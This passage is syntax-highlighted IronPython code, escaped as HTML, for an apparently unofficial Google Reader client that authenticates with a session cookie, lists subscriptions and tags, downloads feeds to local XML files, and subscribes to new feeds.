color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;split&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;'\n'&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;s&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;response&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;s&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;startswith&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;SID=&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;s&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;4&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;SetGoogleCookie&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;webRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Sets
the Google authentication cookie on the HttpWebRequest instance&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;cookie&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;Cookie&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;SID&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;/&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;.google.com&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;cookie&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Expires&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Now&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;TimeSpan&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0080c0"&gt;7&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;container&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;CookieContainer&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;container&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Add&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;cookie&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;webRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;CookieContainer&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;container&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;GetSubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Gets
the users list of subscriptions&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;feedlist_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;subscription/list&amp;quot;&lt;/font&gt; &lt;font color="#008000"&gt;#download
the JSON-esque XML feed list &lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpGetRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#008000"&gt;#create
subscription nodes &lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;MakeSubscription&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectNodes&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;/object/list[@name='subscriptions']/object&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;False&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;GetTagList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Gets
a list of the user's tags&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;taglist_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;api_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;tag/list&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpGetRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;taglist_url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#008000"&gt;#get
the user id needed for creating new labels from Google system tags &lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;/object/list/object/string[contains(string(.),
'state/com.google/starred')]&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;replace&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;/state/com.google/starred&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;;&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;5&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#008000"&gt;#get
the user-defined labels &lt;/font&gt; &lt;font color="#000000"&gt;tags&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Replace&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;user/&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;userid&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;/label/&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectNodes&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;/object/list[@name='tags']/object/string[@name='id']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;IndexOf&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;/com.google/&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt; &lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#c00000"&gt;return&lt;/font&gt; &lt;font color="#000000"&gt;TagList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;userid&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;tags&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;DownloadFeeds&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Downloads
each feed from the subscription list to a local directory&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;unixepoch&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0080c0"&gt;1970&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;1&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;DateTimeKind&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Utc&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;oneweek_ago&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;DateTime&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Now&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt; &lt;font color="#000000"&gt;TimeSpan&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#0080c0"&gt;7&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;ifmodifiedsince&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;oneweek_ago&lt;/font&gt; &lt;font color="#0000c0"&gt;-&lt;/font&gt; &lt;font color="#000000"&gt;unixepoch&lt;/font&gt; &lt;font color="#000000"&gt;feed_url&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feed_url_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feedid&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;?n=25&amp;amp;r=o&amp;amp;ot=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;str&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;int&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;ifmodifiedsince&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;TotalSeconds&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;continuation&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt; &lt;font color="#000000"&gt;continuation_token&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;None&lt;/font&gt; &lt;font color="#c00000"&gt;while&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Downloading
feed at %s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed_url&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;continuation_token&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;MakeHttpGetRequest&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed_url&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;continuation_token&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;continuation_node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectSingleNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;//*[local-name()='continuation']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;continuation_token&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;continuation_node&lt;/font&gt; &lt;font color="#c00000"&gt;and&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;&amp;amp;c=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;continuation_node&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;InnerText&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;or&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt; &lt;font color="#c00000"&gt;is&lt;/font&gt; &lt;font color="#000000"&gt;None&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt; &lt;font color="#c00000"&gt;else&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;doc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;SelectNodes&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#004080"&gt;&amp;quot;//*[local-name()='entry']&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;node&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;ImportNode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;True&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;DocumentElement&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;AppendChild&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;node&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;continuation_token&lt;/font&gt; &lt;font color="#0000c0"&gt;==&lt;/font&gt; &lt;font color="#004080"&gt;''&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;break&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;Saving
%s&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed_cache_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;.xml&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;feedDoc&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;Save&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feed_cache_prefix&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;.xml&amp;quot;&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;ShowSubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Displays
the users list of subscriptions including the labels applied to each item&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#c00000"&gt;if&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;modified&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#000000"&gt;GetSubscriptionList&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;count&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;feedlist&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;feeds&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#c00000"&gt;print&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;%s.
%s (%s)&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;%&lt;/font&gt; &lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;count&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;title&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#000000"&gt;category&lt;/font&gt;&lt;font color="#0000c0"&gt;[&lt;/font&gt;&lt;font color="#0080c0"&gt;0&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt; &lt;font color="#c00000"&gt;for&lt;/font&gt; &lt;font color="#000000"&gt;category&lt;/font&gt; &lt;font color="#c00000"&gt;in&lt;/font&gt; &lt;font color="#000000"&gt;feedinfo&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;categories&lt;/font&gt;&lt;font color="#0000c0"&gt;]&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#000000"&gt;count&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#000000"&gt;count&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#0080c0"&gt;1&lt;/font&gt; &lt;font color="#c00000"&gt;def&lt;/font&gt; &lt;font color="#000000"&gt;Subscribe&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;,&lt;/font&gt; &lt;font color="#000000"&gt;sid&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt;&lt;font color="#0000c0"&gt;:&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;quot;&amp;quot;Subscribes
to the specified feed URL in Google Reader&amp;quot;&amp;quot;&amp;quot;&lt;/font&gt; &lt;font color="#000000"&gt;params&lt;/font&gt; &lt;font color="#0000c0"&gt;=&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;quickadd=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;HttpUtility&lt;/font&gt;&lt;font color="#0000c0"&gt;.&lt;/font&gt;&lt;font color="#000000"&gt;UrlEncode&lt;/font&gt;&lt;font color="#0000c0"&gt;(&lt;/font&gt;&lt;font color="#000000"&gt;url&lt;/font&gt;&lt;font color="#0000c0"&gt;)&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#004080"&gt;&amp;quot;&amp;amp;T=&amp;quot;&lt;/font&gt; &lt;font color="#0000c0"&gt;+&lt;/font&gt; &lt;font color="#000000"&gt;GetToken&lt;/font&gt;&lt;font 